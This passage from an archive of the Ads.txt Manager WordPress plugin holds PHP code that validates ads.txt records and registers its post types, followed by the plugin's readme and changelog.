	} else { // Data records: the most common.
		// Disregard any comments.
		$record = explode( '#', $line );
		$record = $record[0];

		// Record format: example.exchange.com,pub-id123456789,RESELLER|DIRECT,tagidhash123(optional).
		$fields = explode( ',', $record );

		if ( 3 <= count( $fields ) ) {
			++$record_lines;
			$exchange              = trim( $fields[0] );
			$pub_id                = trim( $fields[1] );
			$account_type          = trim( $fields[2] );
			$tag_id                = ! empty( $fields[3] ) ? trim( $fields[3] ) : null;
			$is_placeholder_record = is_placeholder_record( $exchange, $pub_id, $account_type, $tag_id );

			// If the file contains placeholder record and no placeholder was already present, set variable.
			if ( $is_placeholder_record && is_null( $has_only_placeholder_records ) ) {
				$warnings[] = array(
					'type'    => 'no_authorized_seller',
					'message' => __( 'Your ads.txt indicates no authorized advertising sellers.', 'ads-txt' ),
				);
			}

			// Process further only if the current record is not placeholder record.
			if ( ! $is_placeholder_record ) {
				if ( ! preg_match( $domain_regex, $exchange ) ) {
					$errors[] = array(
						'line'  => $line_number,
						'type'  => 'invalid_exchange',
						'value' => $exchange,
					);
				}

				if ( ! preg_match( '/^(RESELLER|DIRECT)$/i', $account_type ) ) {
					$errors[] = array(
						'line' => $line_number,
						'type' => 'invalid_account_type',
					);
				}

				if ( isset( $fields[3] ) ) {
					$tag_id = trim( $fields[3] );

					// TAG-IDs appear to be 16 character hashes.
					// TAG-IDs are meant to be checked against their DB - perhaps good for a service or the future.
					if ( ! empty( $tag_id ) && ! preg_match( '/^[a-f0-9]{16}$/', $tag_id ) ) {
						$errors[] = array(
							'line'  => $line_number,
							'type'  => 'invalid_tagid',
							'value' => $fields[3],
						);
					}
				}
			}

			$sanitized = wp_strip_all_tags( $line );
		} else {
			// Not a comment, variable declaration, or data record; therefore, invalid.
			// Early on we commented the line out for safety but it's kind of a weird thing to do with a JS AYS.
			$sanitized = wp_strip_all_tags( $line );

			$errors[] = array(
				'line' => $line_number,
				'type' => 'invalid_record',
			);
		}

		unset( $record, $fields );
	}

	return array(
		'sanitized'             => $sanitized,
		'errors'                => $errors,
		'warnings'              => $warnings,
		'is_placeholder_record' => $is_placeholder_record,
		'is_empty_record'       => $is_empty_record,
		'is_comment'            => $is_comment,
	);
}

/**
 * Delete `adstxt_errors` meta when restoring a revision.
 *
 * @param int $post_id Post ID, not revision ID.
 *
 * @return void
 */
function clear_error_meta( $post_id ) {
	delete_post_meta( $post_id, 'adstxt_errors' );
}
add_action( 'wp_restore_post_revision', __NAMESPACE__ . '\clear_error_meta', 10, 1 );

/**
 * Checks if the given record is placeholder record.
 * Placeholder indicates that no advertising system is authorized to buy and sell ads on the website.
 *
 * @see https://iabtechlab.com/wp-content/uploads/2021/03/ads.txt-1.0.3.pdf
 *
 * @param string      $exchange        Domain name of the advertising system.
 * @param string      $pub_id          Publisher’s Account ID.
 * @param string      $account_type    Type of Account/Relationship.
 * @param string|null $tag_id          Certification Authority ID.
 *
 * @return bool
 */
function is_placeholder_record( $exchange, $pub_id, $account_type, $tag_id = null ) {
	$result = true;

	// Check the exchange for placeholder.
	if ( 'placeholder.example.com' !== $exchange ) {
		$result = false;
	}

	// Check the publisher ID for placeholder.
	if ( 'placeholder' !== $pub_id ) {
		$result = false;
	}

	// Check the account type for placeholder.
	if ( 'DIRECT' !== $account_type ) {
		$result = false;
	}

	// Check the tag ID for placeholder.
	if ( ! empty( $tag_id ) && 'placeholder' !== $tag_id ) {
		$result = false;
	}

	return $result;
}
inc/post-type.php000066600000003402151126313640007777 0ustar00<?php
/**
 * Post Type functionality for Ads.txt.
 *
 * @package Ads_Txt_Manager
 */

namespace Adstxt;

/**
 * Register the `adstxt` custom post type.
 *
 * @return void
 */
function register() {
	$args = array(
		'public'           => false,
		'hierarchical'     => false,
		'rewrite'          => false,
		'query_var'        => false,
		'delete_with_user' => false,
		'supports'         => array( 'revisions' ),
		'map_meta_cap'     => true,
		'capabilities'     => array(
			'create_posts'           => 'customize',
			'delete_others_posts'    => 'customize',
			'delete_post'            => 'customize',
			'delete_posts'           => 'customize',
			'delete_private_posts'   => 'customize',
			'delete_published_posts' => 'customize',
			'edit_others_posts'      => 'edit_others_posts',
			'edit_post'              => 'customize',
			'edit_posts'             => 'customize',
			'edit_private_posts'     => 'customize',
			'edit_published_posts'   => 'edit_published_posts',
			'publish_posts'          => 'customize',
			'read'                   => 'read',
			'read_post'              => 'customize',
			'read_private_posts'     => 'customize',
		),
	);

	register_post_type(
		'adstxt',
		array_merge(
			array(
				'labels' => array(
					'name'          => esc_html_x( 'Ads.txt', 'post type general name', 'ads-txt' ),
					'singular_name' => esc_html_x( 'Ads.txt', 'post type singular name', 'ads-txt' ),
				),
			),
			$args
		)
	);

	register_post_type(
		'app-adstxt',
		array_merge(
			array(
				'labels' => array(
					'name'          => esc_html_x( 'App-ads.txt', 'post type general name', 'ads-txt' ),
					'singular_name' => esc_html_x( 'App-ads.txt', 'post type singular name', 'ads-txt' ),
				),
			),
			$args
		)
	);
}

add_action( 'init', __NAMESPACE__ . '\register' );
ads-txt.php000066600000003756151126313640006662 0ustar00<?php
/**
 * Plugin Name:       Ads.txt Manager
 * Plugin URI:        https://github.com/10up/ads-txt
 * Description:       Create, manage, and validate your Ads.txt from within WordPress, just like any other content asset. Requires PHP 7.4+ and WordPress 5.7+.
 * Version:           1.4.5
 * Requires at least: 6.4
 * Requires PHP:      7.4
 * Author:            10up
 * Author URI:        https://10up.com
 * License:           GPL-2.0-or-later
 * License URI:       https://spdx.org/licenses/GPL-2.0-or-later.html
 * Text Domain:       ads-txt
 *
 * @package Ads_Txt_Manager
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'ADS_TXT_MANAGER_VERSION', '1.4.5' );
define( 'ADS_TXT_MANAGE_CAPABILITY', 'edit_ads_txt' );
define( 'ADS_TXT_MANAGER_POST_OPTION', 'adstxt_post' );
define( 'APP_ADS_TXT_MANAGER_POST_OPTION', 'app_adstxt_post' );

/**
 * Get the minimum version of PHP required by this plugin.
 *
 * @return string Minimum version required.
 */
function adstxt_minimum_php_requirement() {
	return '7.4';
}

/**
 * Whether PHP installation meets the minimum requirements
 *
 * @return bool True if meets minimum requirements, false otherwise.
 */
function adstxt_site_meets_php_requirements() {
	return version_compare( phpversion(), adstxt_minimum_php_requirement(), '>=' );
}

// Ensuring our PHP version requirement is met first before loading plugin.
if ( ! adstxt_site_meets_php_requirements() ) {
	add_action(
		'admin_notices',
		function() {
			?>
			<div class="notice notice-error">
				<p>
					<?php
					printf(
						/* translators: %s: Minimum required PHP version */
						esc_html__( 'Ads.txt requires PHP version %s or later. Please upgrade PHP or disable the plugin.', 'ads-txt' ),
						esc_html( adstxt_minimum_php_requirement() )
					);
					?>
				</p>
			</div>
			<?php
		}
	);
	return;
}

require_once __DIR__ . '/inc/helpers.php';
require_once __DIR__ . '/inc/post-type.php';
require_once __DIR__ . '/inc/admin.php';
require_once __DIR__ . '/inc/save.php';
readme.txt000066600000032452151126313640006556 0ustar00=== Ads.txt Manager ===
Contributors:      10up, helen, adamsilverstein, jakemgold, peterwilsoncc, jeffpaul
Tags:              ads.txt, app-ads.txt, ads, ad manager, advertising
Requires at least: 6.5
Tested up to:      6.7
Stable tag:        1.4.5
License:           GPL-2.0-or-later
License URI:       https://spdx.org/licenses/GPL-2.0-or-later.html

Create, manage, and validate your ads.txt and app-ads.txt from within WordPress, like any other content asset.

== Description ==

Create, manage, and validate your ads.txt and app-ads.txt from within WordPress, like any other content asset. Requires PHP 7.4+ and WordPress 5.7+.

=== What is ads.txt? ===

Ads.txt is an initiative by the Interactive Advertising Bureau to enable publishers to take control over who can sell their ad inventory. Through our work at 10up with various publishers, we've created a way to manage and validate your ads.txt file from within WordPress, eliminating the need to upload a file. The validation baked into the plugin helps avoid malformed records, which can cause issues that end up cached for up to 24 hours and can lead to a drop in ad revenue.

=== Technical Notes ===

* Requires PHP 7.4+.
* Requires WordPress 6.3+.
* Ad blockers may break syntax highlighting and pre-save error checking on the edit screen.
* Rewrites need to be enabled. Without rewrites, WordPress cannot know to supply `/ads.txt` when requested.
* Your site URL must not contain a path (e.g. `https://example.com/site/` or path-based multisite installs). While the plugin will appear to function in the admin, it will not display the contents at `https://example.com/site/ads.txt`. This is because the plugin follows the IAB spec, which requires that the ads.txt file be located at the root of a domain or subdomain.

=== What about ads.cert? ===

We're closely monitoring continued developments in the ad fraud space, and see this plugin as not only a way to create and manage your ads.txt file but also be prepared for future changes and upgrades to specifications. Ads.cert is still in the extremely early stages so we don't see any immediate concerns with implementing ads.txt.

=== Can I use this with multisite? ===

Yes! However, if you are using a subfolder installation it will only work for the main site. This is because you can only have one ads.txt for a given domain or subdomain per the [ads.txt spec](https://iabtechlab.com/ads-txt/).  Our recommendation is to only activate Ads.txt Manager per-site.

== Screenshots ==

1. Example of editing an ads.txt file with errors and a link to browse ads.txt file revisions.
2. Example of comparing ads.txt file revisions.
3. Example of comparing two disparate ads.txt file revisions.

== Installation ==
1. Install the plugin via the plugin installer, either by searching for it or uploading a .zip file.
2. Activate the plugin.
3. Head to Settings → Ads.txt or App-ads.txt and add the records you need.
4. Check it out at yoursite.com/ads.txt or yoursite.com/app-ads.txt!

Note: If you already have an existing ads.txt or app-ads.txt file in the web root, the plugin will not read in the contents of the respective files, and changes you make in WordPress admin will not overwrite contents of the physical files.

You will need to rename or remove the existing (app-)ads.txt file (keeping a copy of the records it contains to put into the new settings screen) before you will be able to see any changes you make to (app-)ads.txt inside the WordPress admin.

== Changelog ==

= 1.4.5 - 2024-09-26 =
* **Changed:** Bump WordPress "tested up to" version 6.6 (props [@ankitguptaindia](https://github.com/ankitguptaindia), [@jeffpaul](https://github.com/jeffpaul), [@sudip-md](https://github.com/sudip-md) via [#172](https://github.com/10up/ads-txt/pull/172), [#173](https://github.com/10up/ads-txt/pull/173)).
* **Changed:** Bump WordPress minimum supported version from 6.3 to 6.4 (props [@ankitguptaindia](https://github.com/ankitguptaindia), [@jeffpaul](https://github.com/jeffpaul), [@sudip-md](https://github.com/sudip-md) via [#172](https://github.com/10up/ads-txt/pull/172), [#173](https://github.com/10up/ads-txt/pull/173)).
* **Security:** Bump `braces` from 3.0.2 to 3.0.3 (props [@dependabot](https://github.com/apps/dependabot), [@iamdharmesh](https://github.com/iamdharmesh) via [#168](https://github.com/10up/ads-txt/pull/168)).

= 1.4.4 - 2024-06-26 =
* **Added:** Placeholder record can be added with no authorized sellers or buyers (props [@ankitrox](https://github.com/ankitrox), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#129](https://github.com/10up/ads-txt/pull/129)).
* **Changed:** Bump WordPress "tested up to" version 6.5 (props [@zamanq](https://github.com/zamanq), [@QAharshalkadu](https://github.com/QAharshalkadu), [@jeffpaul](https://github.com/jeffpaul), [@qasumitbagthariya](https://github.com/qasumitbagthariya), [@sudip-md](https://github.com/sudip-md) via [#152](https://github.com/10up/ads-txt/pull/152), [#156](https://github.com/10up/ads-txt/pull/156), [#162](https://github.com/10up/ads-txt/issues/162)).
* **Fixed:** Better error handling for environments that don't match our minimum PHP version (props [@dkotter](https://github.com/dkotter), [@rahulsprajapati](https://github.com/rahulsprajapati), [@peterwilsoncc](https://github.com/peterwilsoncc), [@frankiebordone](https://github.com/frankiebordone), [@vikrampm1](https://github.com/vikrampm1) via [#149](https://github.com/10up/ads-txt/pull/149)).
* **Security:** Bump `semver` from 7.3.5 to 7.5.3 (props [@dependabot](https://github.com/apps/dependabot), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#147](https://github.com/10up/ads-txt/pull/147)).

= 1.4.3 - 2023-06-21 =
* **Added:** `ads.txt` file exists check from the backend (props [@sksaju](https://github.com/sksaju), [@peterwilsoncc](https://github.com/peterwilsoncc), [@mmcachran](https://github.com/mmcachran), [@dinhtungdu](https://github.com/dinhtungdu), [@helen](https://github.com/helen), [@jeffpaul](https://github.com/jeffpaul) via [#131](https://github.com/10up/ads-txt/pull/131)).
* **Added:** Check for and delete orphan `(app-)ads.txt` posts not referenced in the option (props [@sksaju](https://github.com/sksaju), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#138](https://github.com/10up/ads-txt/pull/138)).
* **Added:** Mochawesome reporter added for Cypress test report (props [@jayedul](https://github.com/jayedul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#141](https://github.com/10up/ads-txt/pull/141)).
* **Changed:** Bump WordPress "tested up to" version 6.2 (props [@peterwilsoncc](https://github.com/peterwilsoncc), [@faisal-alvi](https://github.com/faisal-alvi) via [#135](https://github.com/10up/ads-txt/pull/135)).
* **Changed:** Run E2E tests on the zip generated by the "Build Release ZIP" GitHub Action (props [@jayedul](https://github.com/jayedul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#137](https://github.com/10up/ads-txt/pull/137)).
* **Changed:** Update the Dependency Review GitHub Action (props [@jeffpaul](https://github.com/jeffpaul), [@Sidsector9](https://github.com/Sidsector9) via [#142](https://github.com/10up/ads-txt/pull/142)).
* **Fixed:** Remove PHP matrix from PHP8 Compatibility action (props [@Sidsector9](https://github.com/Sidsector9), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#127](https://github.com/10up/ads-txt/pull/127)).
* **Fixed:** Corrected names for PHP Unit test suite runs (props [@peterwilsoncc](https://github.com/peterwilsoncc), [@jeffpaul](https://github.com/jeffpaul) via [#133](https://github.com/10up/ads-txt/pull/133)).
* **Fixed:** Fatal error if the role `administrator`` does not exist (props [@peterwilsoncc](https://github.com/peterwilsoncc), [@Sidsector9](https://github.com/Sidsector9) via [#140](https://github.com/10up/ads-txt/pull/140)).
* **Security:** Bump `simple-git` from 3.15.0 to 3.16.0 (props [@dependabot](https://github.com/apps/dependabot), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#128](https://github.com/10up/ads-txt/pull/128)).
* **Security:** Bump `http-cache-semantics` from 4.1.0 to 4.1.1 (props [@dependabot](https://github.com/apps/dependabot), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#130](https://github.com/10up/ads-txt/pull/130)).

= 1.4.2 - 2023-01-16 =
* **Changed:** Update Support Level from `Active` to `Stable` (props [@jeffpaul](https://github.com/jeffpaul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#123](https://github.com/10up/ads-txt/pull/123)).
* **Changed:** Update Cypress integration to use v11 (props [@jayedul](https://github.com/jayedul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#116](https://github.com/10up/ads-txt/pull/116)).
* **Fixed:** Display `ads.txt` files for crawlers using a cache busting query string (props [@peterwilsoncc](https://github.com/peterwilsoncc), [@cadic](https://github.com/cadic) via [#118](https://github.com/10up/ads-txt/pull/118)).

= 1.4.1 - 2022-12-14 =
* **Added:** Support for OWNERDOMAIN & MANAGERDOMAIN per version 1.1 of the spec (props [@SoftCreatR](https://github.com/SoftCreatR), [@tott](https://github.com/tott), [@jeffpaul](https://github.com/jeffpaul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#108](https://github.com/10up/ads-txt/pull/108))
* **Added:** Unit tests (props [@jeffpaul](https://github.com/jeffpaul), [@cadic](https://github.com/cadic), [@faisal-alvi](https://github.com/faisal-alvi), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#87](https://github.com/10up/ads-txt/pull/87))
* **Added:** Dependency security scanning (props [@jeffpaul](https://github.com/jeffpaul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#97](https://github.com/10up/ads-txt/pull/97))
* **Changed:** Bump Wordpress tested up to to 6.1 (props [@jayedul](https://github.com/jayedul), [@dkotter](https://github.com/dkotter), [@jeffpaul](https://github.com/jeffpaul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#113](https://github.com/10up/ads-txt/pull/113))
* **Changed:** Minimum WP and PHP version requirement bumped to 5.7 and 7.4 respectively (props [@jayedul](https://github.com/jayedul), [@dkotter](https://github.com/dkotter), [@peterwilsoncc](https://github.com/peterwilsoncc), [@cadic](https://github.com/cadic) via [#103](https://github.com/10up/ads-txt/pull/103), [#117](https://github.com/10up/ads-txt/pull/117))
* **Fixed:** Base URL corrected for E2E test suite. (props [@peterwilsoncc](https://github.com/peterwilsoncc), [@cadic](https://github.com/cadic), [@dkotter](https://github.com/dkotter) via [#112](https://github.com/10up/ads-txt/pull/112))
* **Security:** Bump got and @wordpress/env (props [@jeffpaul](https://github.com/jeffpaul), [@peterwilsoncc](https://github.com/peterwilsoncc), [@dependabot](https://github.com/dependabot), [@dkotter](https://github.com/dkotter) via [#104](https://github.com/10up/ads-txt/pull/104))
* **Security:** Bump simple-git and @wordpress/env (props [@jeffpaul](https://github.com/jeffpaul), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#105](https://github.com/10up/ads-txt/pull/105))

= 1.4.0 - 2022-04-13 =
* **Added:** Support for the `INVENTORYPARTNERDOMAIN` variable (props [@dkotter](https://github.com/dkotter), [@faisal-alvi](https://github.com/faisal-alvi))
* **Added:** End to end tests with Cypress (props [@cadic](https://github.com/cadic), [@dinhtungdu](https://github.com/dinhtungdu), [@darylldoyle](https://github.com/darylldoyle), [@Sidsector9](https://github.com/Sidsector9))
* **Changed:** Update dealerdirect/phpcodesniffer-composer-installer from 0.5.x to 0.7.1 (props [@evokelektrique](http://github.com/evokelektrique), [@peterwilsoncc](http://github.com/peterwilsoncc))
* **Changed:** Update minimist from 1.2.5 to 1.2.6
* **Changed:** Bump Wordpress tested up to to 6.0 (props [@mohitwp](https://github.com/mohitwp), [@cadic](https://github.com/cadic), [@peterwilsoncc](https://github.com/peterwilsoncc) via [#85](https://github.com/10up/ads-txt/pull/85), [#90](https://github.com/10up/ads-txt/pull/90))
* **Changed:** Automated testing code compatibility against PHP versions from 5.3 to 8.1 (props [@cadic](https://github.com/cadic))
* **Fixed:** Allow admins to access revisions (props [@PypWalters](https://github.com/PypWalters), [@dinhtungdu](https://github.com/dinhtungdu))
* **Fixed:** Coding standards violations (props [@peterwilsoncc](http://github.com/peterwilsoncc))

= 1.3.0 - 2020-05-01 =
* **Added:** Support for app-ads.txt filetype (props [@helen](https://profiles.wordpress.org/helen/), [@westi](https://profiles.wordpress.org/westi/), [@p0mmy](https://github.com/p0mmy))
* **Removed:** Stop attempting to show an error notice about an existing `ads.txt` file due to too many false positives. We will bring this back later in a better way.
* **Changed:** Bump WordPress version support to 5.4 (props [@tmoorewp](https://profiles.wordpress.org/tmoorewp/), [@jeffpaul](https://profiles.wordpress.org/jeffpaul/))
* **Changed:** Switched to using GitHub Actions instead of Travis for Continuous Integration (props [@helen](https://profiles.wordpress.org/helen/))
* **Changed:** Updated plugin screenshots and FAQs (props [@jeffpaul](https://profiles.wordpress.org/jeffpaul/), [@helen](https://profiles.wordpress.org/helen/))
* **Fixed:** Update capability check when saving ads.txt (props [@eclev91](https://profiles.wordpress.org/eclev91/))

Further changelog entries can be found in the [CHANGELOG.md](https://github.com/10up/ads-txt/blob/trunk/CHANGELOG.md) file.